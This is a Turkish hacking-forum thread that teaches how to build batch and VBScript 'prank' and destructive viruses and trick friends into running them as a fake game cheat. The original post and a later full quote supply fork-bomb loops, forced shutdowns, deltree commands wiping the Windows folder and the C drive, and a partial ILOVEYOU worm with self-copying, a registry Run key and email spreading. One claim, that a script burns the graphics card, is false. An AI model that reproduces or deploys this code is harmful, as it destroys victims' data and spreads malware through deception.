Şaka Kodları

24 Haz 2015
60
0
Herkeze merhaba arkadaşlar.
Bu gün herkeze arkadaşlaranıza yapabileceğiniz şaka vürüslerini ve geri dönüşümü olmayan vürüs yapımını öğreticem . İlk olaraka Not defterimizi açıyoruz. Ve hangi .bat vürüsünü yapmak istiyorsak Kodunu yazıyoruz. ( Kodları vericem) Not defterini açdıkdan sonra kodumuzu yazıyoruz. Ve not defterini farklı kaydediyoruz. Kaydederken İsim bölümüne mesela arkadaşlarını kandıracagımız için Metin2BalıkBotu.bat yapıyoruz. Siz daha farklı şeyler yapabilirsiniz ama kesinlikle sonuna .bat eklemeliyiz. Yoksa bat uzantılı dosya olmaz bildigimiz not defteri olur. Nereye kaydettiyseniz o .bat uzantılı dosyayı siz açmayın. Yoksa arkadaşınız diil siz kurban olursunuz :) Gelelim asıl meseleye. Şimdi siz bunu böylece arkadaşınıza verirseniz arkadaşınız yemeyebilir. Nedenmi Dosyanın boyutu yok denebilecek kadar az :) Bu yüzden Klasör oluşturup içine sallama birşeyler atın daha sonra .bat uzantılı dosyayı atınki hem dosyanın boyutu büyüsün hemde arkadaşınız hile sansın :) Daha sonra Winrar İle arşivleyip ister internete upload edin ister Msn gibi sosyal programlardan atın. Yanlız bir sorun var karşı tarafın vürüs programı varsa dosyayı siler. Artık arkadaşınızın kapatması içinde siz bahane bulun Benden bu kadar :)
Ve işte Kodlar:
1- Ard arda Cmd açar ancak bilgisayarı restleyince düzelir :

:m

start

goto m
2- Karşı tarafın bilgisayarını Restler ( Yeniden başlatır ) :

shutdown -s -t 60 -c "VForVendetta"

burdaki 60 kaç saniye içinde kapatacağını ayarlar tırnak içindeki kısım ise başlatmadan önce gösterecegi yazıdır.

3- Bu kod ile Masaüstünde 40 tane vürüs isimli boş klasör oluşturacak ve "Çok tehlikeli bir dosya çalıştırdınız ve bilgisayara vürüs bulaştırdınız... "Esc" tuşuna basarak çıkış yapmazsanız bilgisayarınız çökecektir..." diye bir yazı gelecektir 40tane daha Cmd açılacaktır. hangi tuşa basarsa bassın fayda etmez devam edecektir :

md virus1

md virus2

md virus3

md virus4

md virus5

md virus6

md virus7

md virus8

md virus9

md virus10

md virus11

md virus12

md virus13

md virus14

md virus15

md virus16

md virus17

md virus18

md virus19

md virus20

md virus21

md virus22

md virus23

md virus24

md virus25

md virus26

md virus27

md virus28

md virus29

md virus30

md virus31

md virus32

md virus33

md virus34

md virus35

md virus36

md virus37

md virus38

md virus39

md virus40

@echo off

@echo Çok Tehlikeli Bir Dosya Çalıştırdınız...

@echo Ve Bilgisayara Virüs Bulaştırdınız...

@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...

Pause>nul

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start
4- Karşı tarafın ekranını kapatıp açar :

a

taskkill /F /IM explorer.exe

start explorer.exe

goto a
5- Hata yazma :

msgbox "buraya istediginizi yazın" . . "burayada hata başlıgını

Daha Sonra DOSYA/FARKLI KAYDET şaka virüsü.vbs Olarak Kaydedelim

Tıklayalım...

Tıklayınca Sizin Yazdığınız Bir Hata Çıkacak Sadece 1 kere
6- Eğer tıklarsanız 2.3 sn içinde bilgisayr kapanıyor ve bir daha açılmıyor. Windowsun önemli birkaç dosyasını siliyor daha sonra "seni salak formatı yedin" yazıyor. Arkadaşlarınıza yapmanızı tavsiye etmem :)

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .:seni salak formatı yedin::.

@echo off
7- Ve gelelim geri dönüşü olmayan zararlı .bat vürüslerine :) Bu vürüs kurbanın ekran kartını yakar :

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .:: VForVendetta ::.

@echo off3.
8- Bu .bat vürüsü sayesinde kurbanın bilgisayarını çökertirsiniz mutlaka format atması gerek

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .::VForVendetta::.

@echo off
9- Ve en tehlikelisi :) Karşı tarafın bilgisayarı çöker format atsa bile makinesi birdaha adam olmaz :)

rem delete -pcas(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso_OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
Benden bu kadar arkadaşlar piyasadaki en güvenli vürüsler bunlar. İyi Hileler.. VForVendetta
 

mehmetx93

Uzman üye
2 Eyl 2010
1,395
1
Öncelikle konunun yardım bölümüyle alakası yok. İkinci olarak da bu kodların çoğu yönetici olarak çalıştırmadıkça işe yaramayacak kodlar. Attığınız adama da sağ tıkla yönetici olarak başlat demek biraz saçma olsa gerek :D
 
24 Haz 2015
60
0
Öncelikle konunun yardım bölümüyle alakası yok. İkinci olarak da bu kodların çoğu yönetici olarak çalıştırmadıkça işe yaramayacak kodlar. Attığınız adama da sağ tıkla yönetici olarak başlat demek biraz saçma olsa gerek :D

Yok Kardeş Her Dosya Yönetici Olarak Çalıştırılır Yani İnternet Ortamından Bi Dosya İndirsen Yine Yönetici Olarak Çalıştırcaksın Doğrumu Yönetici Olarak Çalıştırmasan Bile Oluyor Denedim :D
 

mehmetx93

Uzman üye
2 Eyl 2010
1,395
1
Yok Kardeş Her Dosya Yönetici Olarak Çalıştırılır Yani İnternet Ortamından Bi Dosya İndirsen Yine Yönetici Olarak Çalıştırcaksın Doğrumu Yönetici Olarak Çalıştırmasan Bile Oluyor Denedim :D

Sende uac devredışıdır. İnternetten inen her dosya yönetici olarak çalışmaz. Normalde kendin elinle girip windows klasöründen bir şey silmeye kalktığında bile yönetici izni sorar. Devam dersen siler. Bunun aksi olan durumlar ayarlarıyla oynanmış bilgisayarlar için ve win 7 öncesi işletim sistemleri için geçerlidir. Yoksa o komutları bat yapmakla c:/windowsu silemesin. Yönetici olarak çalıştırsan bile kullanımda hatası verecektir çoğu dosya için Yani sende bir hata olsa gerek. Zaten paylaştığın kodları anlamadığını ve kopyala yapıştır yaptığını düşünmekteyim. Ekran kartı yakar dediğin kodun içinde c deki windows klasörünü ve c nin içini falan silen kodlar var. Yani birşeyden kendinin bile sahip olmadığından fazlasını beklemekte zaten anlamsız. Saygılar.
 

Pasaninlaneti

Yeni üye
5 Haz 2016
24
0
Herkeze merhaba arkadaşlar.
Bu gün herkeze arkadaşlaranıza yapabileceğiniz şaka vürüslerini ve geri dönüşümü olmayan vürüs yapımını öğreticem . İlk olaraka Not defterimizi açıyoruz. Ve hangi .bat vürüsünü yapmak istiyorsak Kodunu yazıyoruz. ( Kodları vericem) Not defterini açdıkdan sonra kodumuzu yazıyoruz. Ve not defterini farklı kaydediyoruz. Kaydederken İsim bölümüne mesela arkadaşlarını kandıracagımız için Metin2BalıkBotu.bat yapıyoruz. Siz daha farklı şeyler yapabilirsiniz ama kesinlikle sonuna .bat eklemeliyiz. Yoksa bat uzantılı dosya olmaz bildigimiz not defteri olur. Nereye kaydettiyseniz o .bat uzantılı dosyayı siz açmayın. Yoksa arkadaşınız diil siz kurban olursunuz :) Gelelim asıl meseleye. Şimdi siz bunu böylece arkadaşınıza verirseniz arkadaşınız yemeyebilir. Nedenmi Dosyanın boyutu yok denebilecek kadar az :) Bu yüzden Klasör oluşturup içine sallama birşeyler atın daha sonra .bat uzantılı dosyayı atınki hem dosyanın boyutu büyüsün hemde arkadaşınız hile sansın :) Daha sonra Winrar İle arşivleyip ister internete upload edin ister Msn gibi sosyal programlardan atın. Yanlız bir sorun var karşı tarafın vürüs programı varsa dosyayı siler. Artık arkadaşınızın kapatması içinde siz bahane bulun Benden bu kadar :)
Ve işte Kodlar:
1- Ard arda Cmd açar ancak bilgisayarı restleyince düzelir :

:m

start

goto m
2- Karşı tarafın bilgisayarını Restler ( Yeniden başlatır ) :

shutdown -s -t 60 -c "VForVendetta"

burdaki 60 kaç saniye içinde kapatacağını ayarlar tırnak içindeki kısım ise başlatmadan önce gösterecegi yazıdır.

3- Bu kod ile Masaüstünde 40 tane vürüs isimli boş klasör oluşturacak ve "Çok tehlikeli bir dosya çalıştırdınız ve bilgisayara vürüs bulaştırdınız... "Esc" tuşuna basarak çıkış yapmazsanız bilgisayarınız çökecektir..." diye bir yazı gelecektir 40tane daha Cmd açılacaktır. hangi tuşa basarsa bassın fayda etmez devam edecektir :

md virus1

md virus2

md virus3

md virus4

md virus5

md virus6

md virus7

md virus8

md virus9

md virus10

md virus11

md virus12

md virus13

md virus14

md virus15

md virus16

md virus17

md virus18

md virus19

md virus20

md virus21

md virus22

md virus23

md virus24

md virus25

md virus26

md virus27

md virus28

md virus29

md virus30

md virus31

md virus32

md virus33

md virus34

md virus35

md virus36

md virus37

md virus38

md virus39

md virus40

@echo off

@echo Çok Tehlikeli Bir Dosya Çalıştırdınız...

@echo Ve Bilgisayara Virüs Bulaştırdınız...

@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...

Pause>nul

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start
4- Karşı tarafın ekranını kapatıp açar :

a

taskkill /F /IM explorer.exe

start explorer.exe

goto a
5- Hata yazma :

msgbox "buraya istediginizi yazın" . . "burayada hata başlıgını

Daha Sonra DOSYA/FARKLI KAYDET şaka virüsü.vbs Olarak Kaydedelim

Tıklayalım...

Tıklayınca Sizin Yazdığınız Bir Hata Çıkacak Sadece 1 kere
6- Eğer tıklarsanız 2.3 sn içinde bilgisayr kapanıyor ve bir daha açılmıyor. Windowsun önemli birkaç dosyasını siliyor daha sonra "seni salak formatı yedin" yazıyor. Arkadaşlarınıza yapmanızı tavsiye etmem :)

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .:seni salak formatı yedin::.

@echo off
7- Ve gelelim geri dönüşü olmayan zararlı .bat vürüslerine :) Bu vürüs kurbanın ekran kartını yakar :

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .:: VForVendetta ::.

@echo off3.
8- Bu .bat vürüsü sayesinde kurbanın bilgisayarını çökertirsiniz mutlaka format atması gerek

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .::VForVendetta::.

@echo off
9- Ve en tehlikelisi :) Karşı tarafın bilgisayarı çöker format atsa bile makinesi birdaha adam olmaz :)

rem delete -pcas(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso_OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
Benden bu kadar arkadaşlar piyasadaki en güvenli vürüsler bunlar. İyi Hileler.. VForVendetta


kardeşim şimdi bu 6. kısımdan sonra yeni bir not defteri mi açıyoruz yoksa hepsi bir not defterine mi kaydedicez anlamadım yardım edersen sevinirim ??
 
24 Haz 2015
60
0
Sende uac devredışıdır. İnternetten inen her dosya yönetici olarak çalışmaz. Normalde kendin elinle girip windows klasöründen bir şey silmeye kalktığında bile yönetici izni sorar. Devam dersen siler. Bunun aksi olan durumlar ayarlarıyla oynanmış bilgisayarlar için ve win 7 öncesi işletim sistemleri için geçerlidir. Yoksa o komutları bat yapmakla c:/windowsu silemesin. Yönetici olarak çalıştırsan bile kullanımda hatası verecektir çoğu dosya için Yani sende bir hata olsa gerek. Zaten paylaştığın kodları anlamadığını ve kopyala yapıştır yaptığını düşünmekteyim. Ekran kartı yakar dediğin kodun içinde c deki windows klasörünü ve c nin içini falan silen kodlar var. Yani birşeyden kendinin bile sahip olmadığından fazlasını beklemekte zaten anlamsız. Saygılar.

Ben Denedim Kardeşim Çalışıyor Sıkıntı Yok Sen Diyorsun Ya Hanı Kopyala Yapıştır Yaptın Diye Yarısını Kopyaladım
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.